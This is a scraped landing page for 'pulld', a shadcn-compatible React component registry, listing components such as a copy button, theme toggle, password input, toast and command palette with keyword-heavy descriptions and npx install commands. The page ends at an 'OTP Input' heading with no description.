pulld

Components your AI coding agent installs by itself.

An open, shadcn-compatible component registry. Point Claude Code, Cursor, or v0 at a component and it pulls it straight into your project — typed, accessible, theme-aware.

npx shadcn@latest add https://pulld.pages.dev/r/copy-button.json

Works with the shadcn CLI & MCP. 100 free components, growing.

Or add the @pulld namespace once in components.json, then install by name (@pulld/copy-button):

{ "registries": { "@pulld": "https://pulld.pages.dev/r/{name}.json" } }

This search is pulld Search running on this page — try “let users switch to dark mode” or “copy text to clipboard”.

Components

Copy Button

A one-click copy control: a square icon button that writes a string to the clipboard, swaps its clipboard icon for a tick, announces "Copied" to a screen reader, and resets itself a couple of seconds later. Reach for it wherever a value on the page is there to be taken somewhere else: an install or CLI command in docs, a curl or SDK example, an API key, token or client secret in a settings screen, a share or invite link, a webhook or callback URL, a connection string, a git SHA or branch name, a wallet or contract address, an invoice, order, ticket, trace or request ID, a coupon or referral code, a two-factor recovery code, an error message or stack trace a user is about to paste into a bug report, a generated password, a colour hex in a palette, and the value cell of any table or key/value list. Common asks it answers: "copy button", "copy to clipboard button react", "copy icon button", "clipboard button shadcn", "shadcn copy to clipboard", "copy button with copied state", "copy with tooltip feedback", "copy code button", "copy API key button", "copy link button", "useCopyToClipboard alternative", "react-copy-to-clipboard alternative", "copy button accessible". shadcn/ui has nothing that touches the clipboard — not in button, not in input-group, not anywhere in its sixty-odd components — so this is the piece everyone rebuilds inline, and the inline version is where the bugs live. Distinct from pulld copy-field, which is the read-only input with the value shown beside the button, and from pulld code-block, which is the scrollable panel that reveals one on hover; both compose this button rather than repeating it. What the four-line inline version gets wrong, in order: it forgets `type="button"`, so pressing it inside a form submits the form; it swaps the icon and nothing else, so a screen reader user gets no feedback at all, since a changed icon is not an event; it leaves the timeout running, so a button unmounted mid-countdown sets state on a dead component; and it treats the write as if it always succeeds. Here the button is `type="button"`, the copied state is announced through an sr-only `aria-live="polite"` region rather than through the icon, both icons are aria-hidden so nothing reads "check" out loud, and the reset timer is cleared on unmount and whenever `timeout` changes. `navigator.clipboard.writeText` rejects on an insecure origin, inside a sandboxed iframe, or when the document is not focused; a rejected write leaves the button resting instead of flashing a success it did not get, so nothing lies to the user — wrap it if you also want an error toast. The API is two props on top of a real button: `value` is the string to copy and `timeout` (default 2000ms) is how long the tick stays. Everything else is a normal button — `disabled`, `title`, `id`, `data-*` and event handlers all pass through, and your own `aria-label` replaces the built-in "Copy to clipboard" / "Copied" pair when you want to name what is being copied ("Copy API key"), with the live region still announcing the result. Styled with shadcn tokens (input, accent, ring, muted-foreground) so it follows light and dark mode, `className` merges rather than fights, and the focus ring is `focus-visible` so pointer users never see it. One file, two lucide icons, no clipboard library.

npx shadcn@latest add https://pulld.pages.dev/r/copy-button.json
⌘K

Kbd

Inline keyboard key rendered as a real <kbd> element and styled as a bordered monospace keycap — a drop-in for a bare <kbd> tag that otherwise renders as unstyled monospace text. Use it wherever an interface names a key the reader is meant to press: command palettes and ⌘K hints, tooltips, menu item accelerators, empty states that suggest a shortcut, onboarding tours, documentation and changelogs, and keyboard-shortcut help sheets. Common asks it answers: "kbd component", "keyboard shortcut badge", "render Cmd+K", "hotkey chip", "keycap style", "shortcut pill", "key badge", "style the kbd tag", "show a keybinding in a tooltip", "⇧⌘P badge", "shortcut hint next to a menu item", "Ctrl+S indicator", "Esc key label", "arrow key hint in docs". shadcn/ui now ships a kbd of its own, so choose deliberately rather than by search rank. Theirs is a flat sans-serif chip with no border at text-xs, and it comes with a KbdGroup wrapper for multi-key sequences, a rule that shrinks icons placed inside it, and one that inverts its colours inside a tooltip — if you want any of those, take theirs. Theirs also holds a minimum square footprint and centres its content, which suits single letters sitting in a row; this one is padding-driven, so a multi-character label like Esc, Tab or Enter sits evenly inside the same border. This one is a single element with a border, monospace text at 10px and slightly wider padding, so it reads as a physical key rather than as inline text and stays legible against surrounding prose at small sizes. Both are dependency-free, use the semantic <kbd> tag so assistive technology announces the content as keyboard input, and theme through shadcn tokens. For several keys in a row, wrap them in a flex container with a gap yourself, or install keyboard-shortcuts, which composes this into a grouped help sheet opened with ?.

npx shadcn@latest add https://pulld.pages.dev/r/kbd.json
No results

Empty State

The centred placeholder a screen shows when it has nothing to draw — a dashed panel with an optional icon, a heading, one line of explanation, and room for a call to action. Use it for an empty table, list, inbox, or feed, a search or filter that matched nothing, a workspace, project or team before its first item exists, a first-run or onboarding screen, a dashboard card with no data yet, an empty cart, folder, or notification tray. Common asks it answers: "empty state", "no results found", "zero state", "blank slate", "no data placeholder", "nothing here yet", "empty list or table component", "empty search results", "first run experience", "no items yet with a create button". shadcn/ui now ships an `empty` of its own, so choose deliberately rather than by accident: theirs is a six-part compound API (Empty, EmptyHeader, EmptyMedia, EmptyTitle, EmptyDescription, EmptyContent) that composes into any arrangement and pulls in class-variance-authority; this is the one-import version — title plus optional icon, description and action, four props in total and no dependencies at all — for the much more common case where every empty state in the app looks alike and assembling six elements at each call site is just ceremony. Two accessibility details differ as well, and they are the two most often got wrong: here the title renders as a real h3, so it joins the heading outline and screen-reader users can reach it with heading navigation, whereas the official EmptyTitle is a styled div that heading navigation cannot see; and the icon wrapper is marked aria-hidden, because it is decoration, and announcing "inbox" or "circle-slash" before the sentence that actually explains the situation is noise. The description is capped at max-w-sm so the line keeps a readable measure inside a wide table. It has no hooks and no event handlers, so it carries no "use client" and renders inside a React Server Component without pulling a client boundary in behind it; you pass your own icon element, so it adds no icon library. Styled with shadcn tokens (border, muted-foreground) for light and dark themes. Distinct from skeleton and spinner, which say the rows are still loading: this one says the rows are not coming until the user does something.

npx shadcn@latest add https://pulld.pages.dev/r/empty-state.json
Revenue
$12.4k↑12%

Stat Card

The single-number tile at the top of a dashboard: a label, one big value, and an optional percentage change with an up or down arrow — green when the number moved the right way, red when it did not. Use it wherever a screen opens with a row of headline figures: an analytics or metrics dashboard, an admin overview, a KPI or scorecard row, a billing and usage summary, a SaaS home screen, a revenue or traffic report. Common asks it answers: "stat card", "metric card", "KPI card", "metric tile", "summary card", "big number card", "dashboard stat tile", "stats card react", "shadcn dashboard cards", "tailwind stat card", "number card with percentage change", "card with trend indicator", "percentage change badge", "revenue card with trend arrow", "analytics summary cards", "stats row", "show total users with growth", "MRR / ARR card", "active users card", "conversion rate card", "Next.js dashboard stats", "Stripe/Vercel-style dashboard tiles". shadcn/ui ships card as an empty container with no notion of a metric, so the value typography, the delta colouring and the arrow are hand-rolled on every dashboard. Pass `label`, `value` and optionally `delta` (a number: positive renders the up arrow, negative the down arrow, and omitting it renders no delta at all) plus a `hint` line for the comparison period, e.g. "vs. last month". `value` is a ReactNode, not a string, so a pre-formatted currency or an Intl.NumberFormat result drops straight in and the component never guesses at your locale or currency. The direction is not left to colour alone: the arrow is aria-hidden and an sr-only "Up"/"Down" is spoken before the number, so the tile still means something to a screen reader and to a red-green colour-blind reader, which a bare green percentage does not. Composes into a responsive grid to form the stats row, and pairs with gauge and progress-ring when the figure is a ratio rather than a total. Styled with shadcn tokens (card, muted-foreground) with an explicit dark-mode pair for the delta colours; lucide-react is the only dependency. One thing it deliberately does not decide for you: `delta` is read as "up is good", so a positive number is always green. For a metric where rising is bad — churn, bounce rate, error rate, p95 latency, refunds, open incidents, cost per acquisition — pass the change negated (a 2-point rise in churn as `-2`) or wrap the card, rather than expecting it to know which way your metric should move. Distinct from feature-card, which sells a capability with an icon and copy: this one carries a live number.

npx shadcn@latest add https://pulld.pages.dev/r/stat-card.json

Theme Toggle

The one-button light/dark switch you drop in a navbar, header or settings row — click it and the whole app flips theme, and the choice survives a reload. Reach for it on any site that has a dark mode at all: the header of a marketing or docs site, an app shell or dashboard sidebar, a settings or appearance page, an admin panel, a developer tool or playground, a blog, and the top-right corner of more or less every React starter. Common asks it answers: "dark mode toggle", "theme toggle button", "light dark switcher", "dark mode toggle react", "theme switcher react", "toggle dark mode tailwind", "tailwind dark class toggle", "sun moon toggle button", "dark mode without next-themes", "next-themes alternative", "theme toggle shadcn", "shadcn dark mode toggle component", "shadcn mode toggle", "nextjs dark mode toggle", "vite react dark mode", "react router dark mode", "astro dark mode toggle", "remember user theme localStorage", "respect prefers-color-scheme", "system theme default dark mode", "dark mode flash on page load", "FOUC dark mode nextjs", "hydration mismatch dark mode", "window is not defined dark mode", "toggle dark class on html element", "dark mode toggle without provider", "dark mode toggle accessibility aria-pressed", "ダークモード 切り替え react", "テーマ切り替えボタン", "ダークモード 初回表示 ちらつき", "システム設定に追従 ダークモード". shadcn/ui has no installable toggle, and the measurement is unambiguous: across all sixty-three registry entries (sixty-two fetchable today) the only component that touches theming at all is sonner, which calls next-themes' useTheme to decide what colour to paint a toast — it reads the theme, it does not switch it. The official dark-mode guide is a guide: it hands you a next-themes provider to wire up and a dropdown to assemble yourself, so the button itself is written by hand every time. This is that button — one file, no provider, no context, no next-themes, no extra package. It toggles the `dark` class on the html element, which is exactly what Tailwind's class dark mode and the shadcn tokens already read, so it works with the theme you have rather than introducing another one. On first load it reads the saved choice from localStorage and falls back to the OS `prefers-color-scheme`, so a first-time visitor gets their system theme and a returning one gets their own; every later click writes the choice back. That first read happens in an effect rather than during render, because `window` does not exist on the server and an inline branch would either crash SSR or hydrate to different markup than it sent — which is the `window is not defined` / hydration-mismatch pair that the hand-written version hits first. It also means the theme is applied just after first paint, so add the usual one-line script in your document head if you need to kill the flash on a static page. The Sun/Moon swap is done with the `dark:` variant rather than JS state, so the icon matches the document even if something else on the page changes the theme. It is a real button that forwards every button prop (className, id, onClick, disabled), carries an aria-label and an aria-pressed that reflects the current mode, hides both icons from screen readers, and has a focus-visible ring; styling uses shadcn tokens (accent, muted-foreground, ring, border) so it matches your other icon buttons. Within pulld it sits with the other things that live in a header: kbd and keyboard-shortcuts, command-palette, network-status and announcement-bar. lucide-react is the only dependency.

npx shadcn@latest add https://pulld.pages.dev/r/theme-toggle.json
AMK+3

Avatar Stack

A facepile in one prop: pass a list of people and a maximum, get a row of overlapping circular avatars with everything past the maximum collapsed into a "+N" badge. Reach for it wherever a set of people is shown on one line: team members on a project or workspace card, assignees and reviewers on an issue or pull request, meeting and calendar attendees, who is online or currently viewing a document, a "shared with" row on a file or folder, participants in a thread or channel, contributors on a repo, players in a lobby, guests on a booking, and the member count on an organisation or team settings row. Common asks it answers: "avatar group", "avatar stack", "facepile", "overlapping avatars", "stacked profile pictures", "user avatars in a row", "+N more avatars", "avatar overflow count", "assignee avatars", "who is online avatars", "team member avatars", "participant avatars", "avatar list with remaining count", "react facepile component". Official shadcn/ui does now group avatars — its `avatar` item ships `AvatarGroup` (the negative margin that overlaps the circles) and `AvatarGroupCount` (a styled slot for the overflow badge), and if you are already composing Radix avatars by hand those are the pieces you want. The difference is who does the arithmetic. Official gives you the styling and leaves the list to you: you slice it at the cut-off yourself, work out what N is, render each `Avatar` with its own `AvatarImage` and `AvatarFallback`, and put the number inside `AvatarGroupCount` — the overflow logic is rewritten at every call site, which is where it goes wrong when the list is shorter than the maximum or exactly equal to it. This one takes `avatars` (an array of `{ src?, alt }`) and `max` (default 4), does the slicing and the counting once, and renders nothing extra when there is no overflow. An entry with no `src` falls back to the first letter of its `alt`, so a half-loaded list still reads as people rather than as broken images, and every avatar keeps its `alt` as its accessible name so a screen reader announces the names instead of a row of unlabelled images. It is plain `img` elements and Tailwind tokens — no Radix package, no dependencies at all — so it drops into a project that has not installed the official avatar, and the ring around each circle is drawn in the *background* token rather than a fixed white, which is what keeps the overlap legible on a card, a striped table row and a dark surface alike.

npx shadcn@latest add https://pulld.pages.dev/r/avatar-stack.json
••••••

Password Input

A password field with the show/hide eye already built in — the one control every sign-up form needs and shadcn/ui does not ship. It is a drop-in replacement for `<input type="password">`: every native prop passes straight through (`name`, `autoComplete`, `required`, `minLength`, `placeholder`, `disabled`, `onChange`), and the ref lands on the field itself, so `register()` from react-hook-form and a shadcn `FormField` bind to it exactly as they would to a bare input. Reach for it in sign-up and registration forms, login and sign-in screens, change-password and reset-password flows, the “confirm password” field beside it, the password half of a credentials dialog, a database or SMTP connection form, and any secret — an API key, a token, a recovery phrase — that a person has to read back to check they typed it correctly. The reveal toggle is where hand-rolled versions go wrong, so all five decisions are already made: the button’s accessible name follows the state (“Show password” when hidden, “Hide password” when shown) rather than freezing on one of them; `aria-pressed` reports whether the password is currently visible; the eye is `aria-hidden`, so a screen reader hears the name and not the glyph; the button is `type="button"`, so pressing it inside a form does not submit the form; and it is deliberately kept out of the tab order — a keyboard user tabbing off a password should land on the submit button, not on a reveal control they did not ask for. It stays reachable by mouse, touch and screen-reader navigation. Common asks it answers: “password input”, “password field with show hide”, “show password toggle”, “reveal password button”, “eye icon password input”, “toggle password visibility react”, “password visibility toggle component”, “hide password input”, “shadcn password input”, “shadcn password field”, “login form password field”, “sign up password input”, “react password input component”, “MUI password field equivalent”, “antd Input.Password equivalent”, “chakra password input equivalent”. shadcn/ui’s own `input` is the plain field — it takes a `type` and styles it, with no toggle, no eye and no mention of passwords anywhere in its source; `input-group` is a layout kit for placing an adornment beside a field, which leaves the toggle’s behaviour and its accessible naming for you to write. This is that field with both already decided. Pair it with this registry’s `password-strength`, the meter that goes underneath and scores how many guesses a password would survive: this component is the field, that one is the verdict on what gets typed into it. Needs `lucide-react` for the eye.

npx shadcn@latest add https://pulld.pages.dev/r/password-input.json

Spinner

An inline loading indicator that announces itself: a spinning lucide Loader2 inside a role="status" live region with a screen-reader-only label, so a pending operation is heard as well as seen. Reach for it while fetching data, submitting a form, loading a page or a section, as a Suspense or lazy-route fallback, beside a disabled control, inside a table cell or panel that is still filling in, or anywhere you would otherwise drop a bare "Loading…" string. Common asks it answers: "loading spinner", "react spinner component", "loader component", "busy indicator", "activity indicator", "throbber", "accessible loading state", "aria-live loading announcement", "screen reader loading", "Suspense fallback spinner", "spinning Loader2", "animate-spin loader". The usual hand-rolled version — a bare Loader2 with animate-spin dropped straight into the markup — is invisible to assistive technology: the icon is decorative, so nothing is announced and a screen-reader user waits in silence. Official shadcn/ui now ships a spinner of its own, so choose deliberately rather than by search rank: theirs is the Loader2 icon itself carrying role="status" and the hard-coded English string aria-label="Loading", which is announced but cannot be changed without overriding the attribute, and its registry entry adds class-variance-authority to your package.json. Here the icon is aria-hidden and the announcement comes from a real sr-only text node in a wrapping live region, "Loading" by default; set label to say what is actually loading ("Loading invoices") so the same component announces something useful on every screen, and so the string sits where a translation pipeline can find it rather than inside an aria attribute. Take theirs if you want the icon element itself and nothing around it; take this one if the announcement has to say more than "Loading". It is 1rem square and inherits the current text colour, so it sits correctly inside a button, a link, or a line of muted text with no extra styling, and every span prop (id, style, className, data-*) passes straight through to the wrapper. Pick the sibling that matches the shape: loading-button for a button whose own label swaps to a busy state, progress-ring or gauge when the percentage is known — this is the indeterminate "something is happening" case. Styled with shadcn tokens for light and dark themes; lucide-react is the only dependency.

npx shadcn@latest add https://pulld.pages.dev/r/spinner.json
add …

Code Block

composes copy-button

A read-only code panel: a bordered, scrollable box that shows a snippet with a copy button in the corner and an optional uppercase language label. Reach for it whenever a page has to show code the reader will copy rather than edit — install and CLI commands in a README, docs site or MDX page (Nextra, Docusaurus, Starlight, Storybook docs all render into exactly this shape), curl and SDK examples in API reference, a GraphQL or SQL query, a .env sample or YAML/JSON config, a Dockerfile or CI workflow fragment, a webhook payload, a stack trace pasted into a support article, the "run this in your terminal" step of an onboarding flow, the snippet a developer landing page opens with, and the code an AI assistant hands back inside a chat answer. Common asks it answers: "code block component react", "code snippet component", "code block with copy button", "copy code button react", "pre code with copy", "styled pre tag react", "terminal command block", "cli command component", "docs code sample component", "mdx code block component", "shadcn code block", "shadcn ui code snippet", "readonly code viewer", "snippet with language label", "copyable command block", "react-syntax-highlighter alternative", "code block without syntax highlighting". Official shadcn/ui has nothing here and is not close: across all sixty-three of its components there is not one <pre> element, not one clipboard call, and no code or snippet item of any kind — so this is normally rebuilt inline, and the inline version has three failures that all look fine on the way past. A copy button revealed only by group-hover cannot be reached by a keyboard at all; here it lives in a focus-within wrapper, so tabbing to it makes it appear. A copy that swaps its icon and stops there tells a screen reader nothing, because a changed icon is not an event; the copy control announces itself (it composes pulld copy-button rather than repeating it). And a scrollable panel with nothing focusable inside it is a region a keyboard user cannot scroll, so the right-hand end of a long line is mouse-only — the panel is a tab stop with a visible focus ring for that reason (WCAG 2.1.1). Deliberately a container and not a highlighter: pass a code string and it renders semantic <pre><code> with data-language set, which costs no bundle and stays out of the way if you later pipe the same string through Shiki, Prism, highlight.js or rehype-pretty-code — where react-syntax-highlighter drags a grammar bundle into a page that only wanted to display nine lines. Long lines scroll horizontally rather than wrapping, because a wrapped command is a command that gets pasted wrong. Within pulld the boundary is by what the string is, not how it looks: this one is for static text a human wrote, copy-field is the single-line value with the button docked inside it (an API key, a share link), ansi-log is for a process's own output with escape codes still in it (CI, build and deploy logs), and diff-view is for before and after rather than one snippet. Extra props land on the wrapper div, every colour is a shadcn token so it follows light and dark, and there is no dependency beyond your cn util.

npx shadcn@latest add https://pulld.pages.dev/r/code-block.json

Loading Button

composes spinner

Submit button that shows a spinner, announces itself, and refuses to fire twice while an async action is in flight. Set loading={true} for the duration of the request and the button disables itself, so a second click cannot send the same request again; loadingText swaps the label for "Saving…" or "Charging card…" while it waits. It is the button for every action that has to go somewhere and come back: submit, save, publish, send, invite, apply, sign in, sign up, pay or check out, upload, export, retry, connect, delete in a confirmation dialog, and "generate" or "run" in an AI app. In practice the loading prop is wired straight to a state your data layer already has: isSubmitting from react-hook-form's formState, isPending from a TanStack Query useMutation or from React 19's useActionState, pending from useFormStatus inside a Next.js server action form, state !== "idle" from Remix or React Router's useNavigation, isMutating from SWR, isLoading from an RTK Query trigger — or a plain useState flag around an await fetch. Common asks it answers: "react button with loading spinner", "shadcn loading button", "button loading state react", "disable button while submitting", "prevent double submit react", "prevent duplicate form submission", "async submit button", "pending state button shadcn", "spinner inside button tailwind", "button spinner while awaiting fetch", "form submit loading state", "isPending button", "useFormStatus pending button", "useActionState loading button", "react-hook-form isSubmitting button", "tanstack query mutation loading button", "next.js server action loading button", "button aria-busy". Official shadcn/ui has no loading state anywhere in this path: its button ships no loading, pending or busy prop, and its spinner is a bare spinning icon with an aria-label — pairing them, disabling the button, and keeping the two in step is left to you, and doing it by hand is exactly where the double-submit bug comes from. This one carries aria-busy while pending, and the spinner it composes is pulld's, which puts the label in a role="status" polite live region rather than only on the icon, so the wait is announced instead of being a silent frozen button — and the label it announces is your loadingText, so "Charging card…" is what gets read out rather than a generic "Loading". Two things worth knowing before you drop it in a form: it defaults to type="button", so pass type="submit" explicitly when it submits a form (props are spread last, so your type wins), and disabling a focused button takes it out of the tab order — the live region is what carries the state to a screen reader once focus has moved. Within pulld it is the plain async button; confirm-button is the one that makes a destructive action be clicked twice, and type-to-confirm the one that makes it be typed out. The spinner atom installs with it through registryDependencies, it renders no client-side state of its own so it needs no "use client", and there is nothing else to add.

npx shadcn@latest add https://pulld.pages.dev/r/loading-button.json

Confirm Button

Inline two-step confirmation on the button itself, with no modal and no dialog state to wire up: the first click arms it — the label swaps to "Confirm?" and the button turns destructive — and only the second click calls onConfirm. It disarms itself after a timeout (3s by default) and on blur, so a stray double-click, a scroll away, a Tab out or a click somewhere else can never fire the action; that pair of escapes is the whole difference between this and the naive version, which is armed forever and goes off the next time the row is clicked for any reason at all. Reach for it wherever a modal would outweigh the action, which is almost every destructive control that lives inside a list rather than on a page: a delete, remove, archive or discard button in a table row, a card, a kanban card, a list item, a file or media row, a comment or post, a cart line, an uploaded attachment, a saved filter or view, a tag or label, or a toolbar; removing a member, collaborator, invite or seat; revoking an API key, token, session or device; deleting a webhook, cron job, alert rule or integration; disconnecting an OAuth app; clearing a cache, a log or a draft; unsubscribing; leaving a channel or workspace; resetting one setting back to its default. Common asks it answers: "confirm before delete without a dialog", "two-step delete button react", "click twice to confirm", "double click to delete", "are you sure button shadcn", "shadcn confirm button", "inline confirmation button", "confirm action without modal", "destructive button with confirmation", "delete button in a table row", "delete confirmation table row react", "undo-less delete confirmation", "replace window.confirm react", "react-confirm-alert alternative", "sweetalert alternative shadcn", "useConfirm hook alternative". Props: `onConfirm` (fired only on the confirming click), `confirmText` for the armed label, `timeout` in milliseconds, plus everything else a `<button>` takes. It is one real `<button>` element — Enter and Space confirm it, `disabled` is honoured, your `className` is merged through `cn`, and it defaults to `type="button"` so an armed click inside a form cannot submit it by accident. The armed state is exposed as `data-armed` for styling and announced through a permanently mounted polite live region, so the change is never carried by colour and a label swap alone — which is exactly what a screen reader would otherwise miss, since nothing about the second click announces itself. Theme-aware through the destructive tokens, zero dependencies (no Radix, no portal, no icon package, one file), and `"use client"` because it holds a state and a timer. What official shadcn/ui offers instead is alert-dialog: a modal that pulls in @radix-ui/react-alert-dialog, renders through a portal, traps focus and needs open state wired up — right for a page-level, consequential confirmation, and far too heavy to put on all twenty rows of a table. Official button has a destructive variant but no confirmation behaviour at all, and official alert is a static message. For an action severe enough that a second click is not enough — deleting a production project, a database or an account — use type-to-confirm, which makes the user type the name first. Composes with loading-button when the confirmed action is slow, and sits naturally next to bulk-action-bar, which confirms the same way for a whole selection rather than one row.

npx shadcn@latest add https://pulld.pages.dev/r/confirm-button.json
Search…⌘K

Command Palette

A ready-made ⌘K command palette: one component you drop in, open with a keyboard shortcut, and fill with actions. Reach for it the moment a nav bar stops being able to hold everything — an admin panel with forty routes, a dashboard whose actions have no button of their own, a docs or knowledge-base site that needs jump-to-page search, an editor or IDE-like tool, a settings surface buried three levels deep, a B2B app where power users live all day, and any product where "where is that page again" is a support question. It covers global search, jump-to-page navigation, quick actions, and shortcuts for people who would rather not touch the mouse. Common asks it answers: "command palette", "command palette react", "cmd+k menu", "ctrl+k search", "command menu", "quick switcher", "spotlight-style search", "raycast-style launcher", "jump to anything", "action launcher", "global search dialog", "search modal react", "cmdk alternative", "kbar alternative", "command palette without cmdk", "shadcn command dialog example", "how to build a command palette", "nextjs command palette", "react router command palette", "vite react cmd+k", "tailwind command menu", "keyboard shortcut to open modal react", "cmd+k hotkey react hook", "detect cmd or ctrl cross platform", "focus trap in a dialog react", "restore focus after closing a modal", "aria-activedescendant combobox listbox", "fuzzy search with highlighted matches react", "highlight matching characters in search results", "recently used items localStorage", "async search results in a dialog", "algolia docsearch alternative", "コマンドパレット react", "⌘K メニュー 実装". shadcn/ui does ship command, and the difference is what you get handed: that one is nine primitives — Command, CommandDialog, CommandInput, CommandList, CommandGroup, CommandItem, CommandEmpty, CommandSeparator, CommandShortcut — wrapping the cmdk npm package and pulling in the dialog item, which you then assemble into a palette yourself. This is a single component that depends on nothing but lucide-react: no cmdk, no dialog, no assembly. It arrives with the parts that are otherwise left to you — recently used entries surfaced when the input is empty and remembered across visits in localStorage, fuzzy filtering that highlights the matched characters in each result, grouped sections, per-item keywords so an entry is findable by words that are not in its label, displayed shortcut keys, wrap-around arrow-key navigation, and an async source hook so results can come from your own endpoint instead of a hard-coded array. The hotkey is one prop and it is cross-platform without being configured: the handler takes the command key or the control key, so ⌘K on a Mac and Ctrl+K on Windows and Linux both open it, which is the check a hand-rolled listener usually hardcodes one way. The fiddly part of a palette is not the list, it is the focus: opening it traps focus so Tab cannot wander into the page behind, closing it puts focus back on whatever the reader was on, and the highlighted row is exposed with combobox and listbox roles plus aria-activedescendant, so the active option is announced while the text cursor stays in the input where typing belongs. If you would rather not run search infrastructure, the exported pulldSearchSource helper points the same async source at pulld Search for hosted semantic results.

npx shadcn@latest add https://pulld.pages.dev/r/command-palette.json
Changes saved

Toast

A complete toast / notification system in one file: call `toast()` — or `toast.success` / `.error` / `.info` / `.warning` / `.loading` / `.promise` — from anywhere in your app, and render a single `<Toaster />` at the root. No provider, no context, nothing to wire up. Use it for save and delete confirmations, form submission results, copy-to-clipboard feedback, async job status, optimistic updates that may fail, undo prompts, rate-limit and validation errors — any "it worked" or "it failed" message that should not interrupt what the user is doing. Common asks it answers: "toast notification react", "toast component shadcn", "snackbar component", "notification popup", "flash message", "alert toast", "undo toast with action button", "promise toast for async requests", "loading toast that turns into success", "toast without a provider", "toast from outside a component", "sonner alternative", "react-hot-toast alternative", "react-toastify alternative", "notification system react", "show a message after form submit". `toast.promise(request, { loading, success, error })` moves one toast through all three states in place, so an async call needs a single line instead of a chain of manual dismissals — `success` and `error` also accept a function, so the final message can quote the resolved value or the thrown error. Every toast takes a `description`, an `action` button (the undo affordance), a `duration` where `Infinity` pins it until dismissed, and an `id` you can reuse to update a toast already on screen. `<Toaster />` takes any of six positions. The queue lives outside React through useSyncExternalStore, so a toast can be fired from an event handler, a fetch or axios interceptor, a route guard, or a plain module — the places a hook-based API cannot reach, and the usual reason a toast library ends up wrapped in a context that has to be threaded everywhere. The details a rushed implementation drops: auto-dismiss pauses while the pointer is over the stack or focus is inside it, so a toast cannot vanish mid-sentence or while a keyboard user is reaching for its action button, and it stays paused across a promise's loading → success swap. Errors announce assertive and everything else polite, so a failure is not queued behind three success messages. Swipe-to-dismiss on touch, and enter / exit animations that respect prefers-reduced-motion. Official shadcn/ui offers two, and both hand you a package to carry: its toast is built on @radix-ui/react-toast and only works once you have mounted a ToastProvider and a ToastViewport and threaded its useToast hook to every caller, and its sonner is a wrapper around the sonner package plus next-themes. This is one file you own and can edit, styled with your own theme tokens, with no provider to mount and no context to thread, and lucide-react — already present in a shadcn project — as its only package import.

npx shadcn@latest add https://pulld.pages.dev/r/toast.json
Search…

Search Input

Search field with a leading magnifier and a trailing clear (✕) that appears as soon as there is text, empties the field, and puts focus back so typing can continue. Reach for it wherever typing narrows what is on screen: above a filterable list or a data table, in a sidebar or a settings page, over the options of a dropdown or combobox, in docs and help search, in an admin record lookup, in a file or media library, over a long list of teams, projects or integrations, in a picker inside a dialog, and anywhere a "/" shortcut is meant to land in a search box. Common asks it answers: "search input", "search bar", "search box", "filter input", "clearable input", "input with a clear button react", "search field with icon", "type to filter a list", "table search box", "searchbar component", "shadcn search input", "shadcn input with clear button", "MUI TextField with clear button equivalent", "antd Input.Search equivalent", "chakra InputRightElement clear equivalent", "clear button does not trigger onChange react", "setting input.value does not fire onChange", "React set input value programmatically and fire change", "hide the native search cancel button", "focus the search box with a slash shortcut", "debounce a search input nextjs". Official shadcn/ui has nothing for this: onClear, clearable, search-cancel, nativeInputValueSetter, HTMLInputElement.prototype, dispatchEvent, searchValue and type="search" are each zero hits across all 62 of its fetchable items (measured 2026-09-26) — its input is a bare styled <input>, and its input-group is a layout kit of six parts (InputGroup, InputGroupAddon, InputGroupButton, InputGroupText, InputGroupInput, InputGroupTextarea) pulling in button, input and textarea, handing you slots to hang your own icon and clear control in. You still write the clear button, the show-it-only-when-there-is-text rule, the refocus and the event plumbing. This is that already assembled, in one import. Distinct from the pulld pieces it sits beside: command-palette is a modal that takes over the screen and runs commands, this is a field that stays on the page; filter-chips shows the conditions already applied and takes them off one at a time, while this is the one condition a person is typing; multi-select and tag-input collect values into a field rather than narrowing a list outside it; mention-input searches inside prose after an @; speech-input is the same job by voice; and highlight-text is what marks the matches in the results this produces. Pairs with all of them — a query in the URL that this field writes is a chip filter-chips can take off again. The part that is easy to get wrong is clearing. Assigning to the input's value does not make React's onChange fire, so a hand-rolled clear button empties the box while the list behind it stays filtered on the old query — the field looks reset and the results do not agree. This writes through the native value setter and dispatches a bubbling input event, so onChange fires for controlled and uncontrolled use alike and whatever filtering it drives actually updates. It also hides the WebKit search-cancel button so there is not a second ✕ beside the first, keeps the magnifier out of the accessibility tree and out of pointer events, gives the clear control a screen-reader label, and passes only one of value/defaultValue through so React never warns about a field switching between controlled and uncontrolled. The clear button is deliberately left out of the tab order, so Tab moves on to the next field rather than into a control that duplicates select-all-and-delete. Standard input props and a forwarded ref pass straight through, so a "/" hotkey can focus it. Theme-aware via shadcn tokens; depends only on lucide-react.

npx shadcn@latest add https://pulld.pages.dev/r/search-input.json
−3+

Number Input

A number field with − and + stepper buttons either side of it. Reach for it wherever someone adjusts a number by one rather than typing it: a quantity picker in a cart, checkout or order form, seats, guests, rooms, tickets or attendees, a per-page or page-size control, retries, timeout or concurrency in a settings panel, font size, padding or spacing in an editor — anywhere you would otherwise reach for a bare <input type="number"> or a spinbutton. Common asks it answers: "number input react", "shadcn number input", "shadcn ui number field", "quantity selector react", "quantity picker component", "quantity input cart", "stepper input react", "react number stepper", "increment decrement input react", "numeric input with plus and minus buttons", "spinbutton react", "input type number without spinners", "hide number input arrows css", "remove spinner from input type number", "number input min max clamp react", "number input step decimal", "0.30000000000000004 step react", "floating point drift number input", "inputMode decimal react", "numeric keypad mobile input react", "number input react-hook-form", "number input controlled uncontrolled warning", "setting state from a button does not fire onChange", "react-number-format alternative", "数量入力 react", "プラスマイナス付き 数値入力", "数値ステッパー shadcn", "input type=number の矢印を消したい". It keeps type="number" underneath, so native validation and valueAsNumber still work, and fixes the parts of it that are unpleasant in practice: the browser's own spin buttons are hidden (they are inconsistent across browsers and absent on mobile) and replaced with real, theme-aware, keyboard-reachable ones, inputMode="decimal" brings up the numeric keypad on phones, and the value is tabular-nums so the digits do not jump as they change. Decimal steps do not drift: stepping by 0.1 counts the step's decimal places and rounds to them, so you get 0.3 rather than 0.30000000000000004. Each button clamps to min or max and disables itself once the value is at that bound, and the buttons are taken out of the tab order so Tab still lands on the field itself. The step is written through the input's native value setter and dispatches a real input event, which is the part that is easy to get wrong: onChange fires whether the field is controlled or uncontrolled, so react-hook-form, Formik and plain useState all see the change instead of silently missing button presses. Only one of value/defaultValue ever reaches the input, so React never warns about switching between controlled and uncontrolled. Official shadcn/ui has no number field: its input is a bare 768-byte element, and input-group and field are assembly kits that pull in button, input, textarea, label and separator without a line of numeric logic between them — no stepping, no clamping, no min/max state. This depends only on lucide-react for the two icons.

npx shadcn@latest add https://pulld.pages.dev/r/number-input.json
42

OTP Input

